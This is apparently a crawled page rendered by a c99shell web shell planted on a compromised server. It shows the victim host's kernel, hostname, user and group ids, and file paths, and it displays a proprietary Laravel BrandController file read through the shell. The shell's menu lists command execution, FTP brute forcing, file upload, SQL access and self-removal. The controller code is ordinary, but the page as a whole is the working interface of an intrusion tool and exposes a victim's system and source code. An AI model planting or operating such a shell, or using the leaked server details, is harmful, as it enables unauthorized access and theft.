!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 26.58 GB of 117.98 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BrandController.php (4.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
/**
 * @package BrandController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-08-2021
 */
use App\DataTables\BrandListDataTable;
use 
App\Exports\BrandListExport;
use 
App\Http\Controllers\Controller;
use 
App\Models\{
    
Brand,
};
use 
Illuminate\Http\Request;
use 
Excel;

class 
BrandController extends Controller
{
    
/**
     * Brand List
     * @param BrandListDataTable $dataTable
     * @return mixed
     */
    
public function index(BrandListDataTable $dataTable)
    {
        return 
$dataTable->render('admin.brands.index');
    }

    
/**
     * Brand create
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    
public function create()
    {
        return 
view('admin.brands.create');
    }

    
/**
     * Store Brand
     * @param Request $request
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function store(Request $request)
    {
        
$response $this->messageArray(__('Invalid Request'), 'fail');
        if (
$request->isMethod('post')) {
            
$validator Brand::storeValidation($request->all());
            if (
$validator->fails()) {
                return 
back()->withErrors($validator)->withInput();
            }
            
$brandId = (new Brand)->store($request->only('name''description''status'));

            
$response $this->messageArray(__('The :x has been successfully saved.', ['x' => __('Brand')]), 'success');
        }
        
$this->setSessionValue($response);
        return 
redirect()->route('brands.index');
    }

    
/**
     * Edit Brand
     * @param $id
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\RedirectResponse
     */
    
public function edit($id)
    {
        
$brand Brand::getAll()->where('id'$id)->first();
        if (empty(
$brand)) {
            
$response $this->messageArray(__(':x does not exist.', ['x' => __('Brand')]), 'fail');
            
$this->setSessionValue($response);
            return 
redirect()->route('brands.index');
        }
        
$data['brands'] = $brand;

        return 
view('admin.brands.edit'$data);
    }

    
/**
     * Update Brand
     * @param Request $request
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function update(Request $request$id)
    {
        
$response $this->messageArray(__('Invalid Request'), 'fail');
        if (
$request->isMethod('post')) {
            
$result $this->checkExistence($id'brands');
            if (
$result['status'] === true) {
                
$validator Brand::updateValidation($request->all(), $id);
                if (
$validator->fails()) {
                    return 
back()->withErrors($validator)->withInput();
                }
                if ((new 
Brand)->updateBrand($request->only('name',  'description''status'), $id)) {
                    
$response $this->messageArray(__('The :x has been successfully saved.', ['x' => __('Brand')]), 'success');
                }
            } else {
                
$response['message'] = $result['message'];
            }
        }
        
$this->setSessionValue($response);
        return 
redirect()->route('brands.index');
    }

    
/**
     * Remove Brand
     * @param Request $request
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function destroy(Request $request$id)
    {
        
$response $this->messageArray(__('Invalid Request'), 'fail');
        if (
$request->isMethod('post')) {
            
$result $this->checkExistence($id'brands');
            if (
$result['status'] === true) {
                
$response = (new Brand)->remove($id);
            } else {
                
$response['message'] = $result['message'];
            }
        }

        
$this->setSessionValue($response);
        return 
redirect()->route('brands.index');
    }

    
/**
     * Brand list pdf
     * @return html static page
     */
    
public function pdf()
    {
        
$data['brands'] = Brand::getAll();

        return 
printPDF(
            
$data,
            
'brands_lists' time() . '.pdf',
            
'admin.brands.list_pdf',
            
view('admin.brands.list_pdf'$data),
            
'pdf'
        
);
    }

    
/**
     * Brand list csv
     * @return html static page
     */
    
public function csv()
    {
        return 
Excel::download(new BrandListExport(), 'brands_lists' time() . '.csv');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--